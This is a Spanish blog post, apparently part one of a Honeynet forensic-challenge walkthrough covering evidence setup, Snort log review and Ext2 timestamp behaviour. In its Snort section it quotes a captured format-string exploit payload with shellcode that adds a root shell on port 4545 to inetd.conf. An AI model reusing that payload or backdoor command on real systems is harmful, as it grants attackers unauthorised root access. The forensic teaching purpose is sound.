El antiguo reto de la honeynet (I)

En esta y la siguiente entrada trataré el reto de análisis forense de la honeynet (proyecto Honeynet). Aunque antiguo, es la base de un análisis forense en un entorno Linux y creo que se pueden aprender muchas cosas. Existe una infinidad de soluciones tanto en blogs como en libros sobre la resolución del reto. En mi caso voy a seguir los pasos que seguí para la resolución de éste. Les advierto que tanto este como el siguiente artículo de la serie son algo largos, así que tómenselos con calma.

Preparando el entorno del reto

Comenzaremos montando una máquina virtual Linux. Primero instalaremos en el equipo anfitrión VirtualBox en su versión 4. A su vez nos descargaremos una imagen ISO de una distribución Linux. En mi caso he usado la Ubuntu 10.04. puesto que ya la tenia descargada. Una vez tengamos creada la máquina virtual instalaremos las LinuxAdditions.

Deberemos instalar, ya sea mediante fuentes o mediante repositorio, los siguientes programas: sleuthkit, foremost, mount, xxd, sorter, wget, md5sum y un editor (gedit, kate, kwrite, vim, nano, etc.).

Para finalizar nos creamos unos directorios donde gestionar el reto:

# mkdir /reto /reto/dd /reto/evidencia /reto/carving /reto/etc /reto/mnt /reto/aux
Obtenemos el reto

Ahora ya disponemos de una máquina virtual donde desarrollar el reto. ¡Comencemos!

Accedemos a la página web del reto y leemos toda la información que se nos proporciona. Una vez leía nos descargamos las fuentes desde la máquina virtual en el directorio “/reto/dd” con la siguiente orden:

# wget http://old.honeynet.org/misc/files/challenge-images.tar

Comprobamos que el fichero se ha descargado correctamente:

# md5sum challenge-images.tar
603978c7a4f4252654df13010a6f5090 challenge-images.tar

Nos da el mismo valor que el que indica en la web.

Desempaquetamos el fichero:

# tar xvf challenge-images.tar

Junto con una serie de imágenes comprimidas, tenemos un fichero readme que contiene la información del punto de montaje de las imágenes y del hash md5 (que habrá que comprobarlo), tanto de las imágenes comprimidas (dd.gz) como el raw (dd).

Descomprimimos las imágenes:

# gunzip honeypot.hda*

Comprobamos que el valor del md5 es el mismo que el del readme:

# for i in `ls honeypot*`; do DATO=`md5sum $i | awk {‘print $1’}`; if [ `grep $DATO readme | wc -l` == 0 ]; then echo “ERROR: $i”; fi; done

Si no nos muestra un mensaje de error es que todo ha funcionado correctamente. El último paso consistirá en mover el fichero readme al directorio /reto/etc. Recordar que las imágenes (dd) deben de estar en el directorio /reto/dd.

Logs de la sonda de detección de intrusos

Si hemos leído detenidamente el reto veremos que se nos proporciona los logs que generó la sonda de detección de intrusos, que en el caso del reto se trata de un Snort:

Nov 7 23:11:06 lisa snort[1260]:
RPC Info Query: 216.216.74.2:963 -> 172.16.1.107:111
Nov 7 23:11:31 lisa snort[1260]:
spp_portscan: portscan status from 216.216.74.2: 2 connections across 1 hosts: TCP(2), UDP(0)
Nov 7 23:11:31 lisa snort[1260]:
IDS08 – TELNET – daemon-active: 172.16.1.101:23 -> 216.216.74.2:1209
Nov 7 23:11:34 lisa snort[1260]:
IDS08 – TELNET – daemon-active: 172.16.1.101:23 -> 216.216.74.2:1210
Nov 7 23:11:47 lisa snort[1260]:
spp_portscan: portscan status from 216.216.74.2: 2 connections across 2 hosts: TCP(2), UDP(0)
Nov 7 23:11:51 lisa snort[1260]:
IDS15 – RPC – portmap-request-status: 216.216.74.2:709 -> 172.16.1.107:111
Nov 7 23:11:51 lisa snort[1260]:
IDS362 – MISC – Shellcode X86 NOPS-UDP: 216.216.74.2:710 -> 172.16.1.107:871

Claramente en los logs mostrados del Snort vemos que el supuesto ataque comenzo a las 23:11:06. Se realizó una consulta al RPC (puerto 111) del servidor (172.16.1.107) desde la ip 216.216.74.2. Posteriormente hubo intentos de conexión al puerto del Telnet (23). A las 23:11:51 se realizo una consulta de nuevo al RPC y inmediatamente se detecto un shellcode con NOPS. Analicemos el payload del paquete que genero la alerta del shellcode:

Nov 7 23:11:51 lisa snort[1260]:
IDS362 – MISC – Shellcode X86 NOPS-UDP: 216.216.74.2:710 -> 172.16.1.107:871
11/07-23:11:50.870124 216.216.74.2:710 -> 172.16.1.107:871
UDP TTL:42 TOS:0x0 ID:16143
Len: 456
3E D1 BA B6 00 00 00 00 00 00 00 02 00 01 86 B8 >……………
00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 …………….
00 00 00 00 00 00 00 00 00 00 01 67 04 F7 FF BF ………..g….
04 F7 FF BF 05 F7 FF BF 05 F7 FF BF 06 F7 FF BF …………….
06 F7 FF BF 07 F7 FF BF 07 F7 FF BF 25 30 38 78 …………%08x
20 25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 %08x %08x %08x
25 30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 %08x %08x %08x %
30 38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 08x %08x %08x %0
38 78 20 25 30 38 78 20 25 30 38 78 20 25 30 38 8x %08x %08x %08
78 20 25 30 32 34 32 78 25 6E 25 30 35 35 78 25 x %0242x%n%055x%
6E 25 30 31 32 78 25 6E 25 30 31 39 32 78 25 6E n%012x%n%0192x%n
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 …………….
90 90 EB 4B 5E 89 76 AC 83 EE 20 8D 5E 28 83 C6 …K^.v… .^(..
20 89 5E B0 83 EE 20 8D 5E 2E 83 C6 20 83 C3 20 .^… .^… ..
83 EB 23 89 5E B4 31 C0 83 EE 20 88 46 27 88 46 ..#.^.1… .F’.F
2A 83 C6 20 88 46 AB 89 46 B8 B0 2B 2C 20 89 F3 *.. .F..F..+, ..
8D 4E AC 8D 56 B8 CD 80 31 DB 89 D8 40 CD 80 E8 .N..V…1…@…
B0 FF FF FF 2F 62 69 6E 2F 73 68 20 2D 63 20 65 …./bin/sh -c e
63 68 6F 20 34 35 34 35 20 73 74 72 65 61 6D 20 cho 4545 stream
74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 tcp nowait root
2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 20 3E 3E /bin/sh sh -i >>
20 2F 65 74 63 2F 69 6E 65 74 64 2E 63 6F 6E 66 /etc/inetd.conf
3B 6B 69 6C 6C 61 6C 6C 20 2D 48 55 50 20 69 6E ;killall -HUP in
65 74 64 00 00 00 00 09 6C 6F 63 61 6C 68 6F 73 etd…..localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 t……………
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….

Vemos que al tener NOPS o instrucciones nulas, el ataque ha sido por un desbordamiento de buffer, y a continuación se ha ejecutado una serie de órdenes. Analizando las órdenes vemos que el presunto atacante ha añadido en el initd un servicio TCP que escucha en el puerto 4545, el cual nos proporciona una shell. Posteriormente ha reiniciado el servicio inetd y por tanto ha levantado la puerta trasera.

Obtención de datos preliminares

Ya tenemos una traza de red de lo ocurrido: las imágenes de las particiones del sistema, por lo que vamos a comenzar a obtener los datos preliminares previos al análisis forense.

1º) El ataque fue realizado a las 23:11 del 7 de noviembre de 2000. Los puertos vulnerables parecen ser el RPC. Apuntar puerto 23 y 4545 para estudio visto en la traza de Snort.

2º) En la web de la honeynet nos indica que el timezone del equipo es GMT-06 (CST):

The system’s time zone was set to GMT-0600 (CST).

3º) Únicamente se nos proporciona las particiones por lo que hemos perdidos la imagen completa, y por tanto carecemos de dos puntos: el MBR y el HPA. El primero nos proporciona información del arranque de las particiones, el segundo, en caso de existir podría disponer de información escondida por el posible atacante. Teniendo en cuenta que es un reto, damos por sentado que el disco no tenia HPA y el MBR carecia de información relevante.

4º) En la web nos indica que la distribución es una RedHat 6.2. Es importante buscar posibles vulnerabilidades de la distribución durante el 1999-2000 relacionada con el servicio RPC.

5º) Carecemos de cualquier dato volátil del servidor (memoria, uptime, lsof, uname, fdisk, modprobe, etc.).

6º) Necesitamos conocer el sistema de ficheros empleado por el servidor. Por ello para cada partición ejecutaremos la orden “fsstat imagen”, por ejemplo para hda:

# fsstat honeypot.hda1.dd

Con esto obtenemos información interesante:

  • El sistema de ficheros es Ext2 (File System Type: Ext2)
  • La última vez que fue montada o se escribio en la partición (lo apuntamos)
  • El tamaño del bloque 1024 bytes (Block Size: 1024)

Una vez sabemos que el sistema de ficheros es Ext2 es necesario entender el funcionamiento de este (a leer en google toca). Para el reto nos interesa conocer dos cosas: por un lado el funcionamiento de los “macb” y por otro lado el comportamiento del sistema de ficheros cuando se borra un fichero.

Para ver el comportamiento del sistema de ficheros, y por tanto el macb, podemos buscar las tablas por internet o crearnos nosotros las tablas a mano. En mi caso he decidido crear las tablas a mano. El truco es una vez obtenemos las tablas de un sistema de ficheros lo apuntamos y así no será necesario crear de nuevo la tabla para ese sistema de ficheros. Lo normal es tener tablas para Ext2/3/4, Reiserfs, Fat32, ExtFAT, NTFS, HFS+ y UFS. En nuestro caso vamos a obtener la del Ext2, que es la que nos interesa para el reto.

Las acciones que debemos apuntar son: creación, mover, modificar metadato, modificar dato, copiar y eliminar. Recordar que la “m” del macb apunta a modificación de datos mientras que la “c” apunta a la modificación de la metainformación. En caso de Ext2 la “b” de creación no se emplea (no así en otros sistemas de ficheros como NTFS).

Construiremos una imagen raw con un tamaño de bloque idéntico al obtenido con anterioridad (1024 bytes). Cuidado que el tamaño de bloque estándar es 512 bytes. Una vez creado la imagen la formateamos con el sistema de ficheros que nos interesa y posteriormente montaremos la imagen en modo escritura, haremos la acción que nos interesa, la desmontaremos y veremos que ha cambiado. Los pasos para ello son los siguientes:

Creamos la imagen (una sola vez):

# dd if=/dev/zero of=imagen bs=1024 count=2000
2000+0 registros de entrada
2000+0 registros de salida
2048000 bytes (2,0 MB) copiados, 0,0217043 s, 94,4 MB/s

Formateamos la imagen (una sola vez):

# mkfs.ext2 imagen
mke2fs 1.41.11 (14-Mar-2010)
imagen no es un dispositivo especial de bloques.
¿Continuar de todas formas? (s,n) s

El siguiente paso será crearnos un directorio donde montar la imagen (una sola vez):

# mkdir aux

Los siguientes pasos son repetitivos por cada acción a realizar:

# mount -o loop,rw,atime imagen aux/
# accion
# sync
# umount aux/
# comprobar

(esperar 2 minutos para la siguiente acción)

Por ejemplo para la creación de fichero:

# mount -o loop,rw,atime imagen aux/
# echo “hola” > aux/prueba
# sync
# umount aux/
# ifind -n “prueba” imagen

12
# istat imagen 12

Inode Times:
Accessed: Sat Feb 12 15:55:57 2011
File Modified: Sat Feb 12 15:55:57 2011
Inode Modified: Sat Feb 12 15:55:57 2011

Como vemos el fichero prueba tiene asignado el inodo 12 y los tiempos de modificación han sido MAC (File Modified, Accessed y Inode Modified). Lo apuntamos en la tabla. Veamos otro ejemplo, en este caso la copia de ficheros:

# mount -o loop,rw,atime imagen aux/
# cp aux/prueba aux/prueba2
# sync
# umount aux/
# istat imagen 12


Accessed: Sat Feb 12 15:58:49 2011
File Modified: Sat Feb 12 15:55:57 2011
Inode Modified: Sat Feb 12 15:55:57 2011

# ifind -n “prueba2” imagen
13
# istat imagen 13

Accessed: Sat Feb 12 15:58:49 2011
File Modified: Sat Feb 12 15:58:49 2011
Inode Modified: Sat Feb 12 15:58:49 2011

Cuando copiamos un fichero, el original modifica su tiempo de acceso y el destino toma en los tres campos la fecha de la copia. Realizando esto obtenemos la siguiente tabla:

  • Creación: mac
  • Modificación metadato: –c
  • Modificación dato: m-c
  • Copia(Origen/destino): -a-/mac
  • Mover en misma particion: –c
  • Mover a otra particion(Origen): -ac(Not Allocated)
  • Eliminar(Origen/destino): –c(Not Allocated)

Importante el caso de la eliminación de ficheros, veamos la salida completa de la orden istat cuando eliminamos el fichero prueba2 (inodo 13):

# istat imagen 13
inode: 13
Not Allocated
Group: 0
Generation Id: 3563483695
uid / gid: 0 / 0
mode: rrw-r–r–
size: 5
num of links: 0
Inode Times:
Accessed: Sat Feb 12 15:58:49 2011
File Modified: Sat Feb 12 15:58:49 2011
Inode Modified: Sat Feb 12 16:09:26 2011
Deleted: Sat Feb 12 16:09:26 2011
Direct Blocks:
59

Como vemos, nos indica que el inodo 13 esta libre, quién era su dueño, el tamaño, los tiempos (ifind añade la entrada Deleted al ser un inodo not allocated). Pero lo más importante y diferente a como funciona ext3 o ext4, es que una vez eliminado un fichero, el inodo sigue apuntando al bloque/bloques que contiene la información. Por tanto podemos intentar recuperar la información de forma sencilla, simple claro está, que el bloque no haya sido sobreescrito por otro inodo:


# blkcat imagen 59

hola

En este caso, la información sigue existiendo, y por tanto hemos podido recuperar un fichero cuya información estaba borrada. Esto es una ventaja frente a ext3/4 donde no podríamos haberlo hecho. Ahora, con los datos ya suministrados podemos comenzar el reto. ¿Te apuntas?

Trackbacks

  1. […] This post was mentioned on Twitter by Security Art Work, hackplayers. hackplayers said: El antiguo reto de la honeynet (I): En esta y la siguiente entrada trataré el reto de análisis forense de la hon… http://bit.ly/g8eye5 […]

  2. […] El antiguo reto de la honeynet (I) En esta y la siguiente entrada trataré el reto de análisis forense de la honeynet (proyecto Honeynet). Aunque antiguo, es la base de un análisis forense en un entorno Linux y creo que se pueden aprender muchas cosas. […]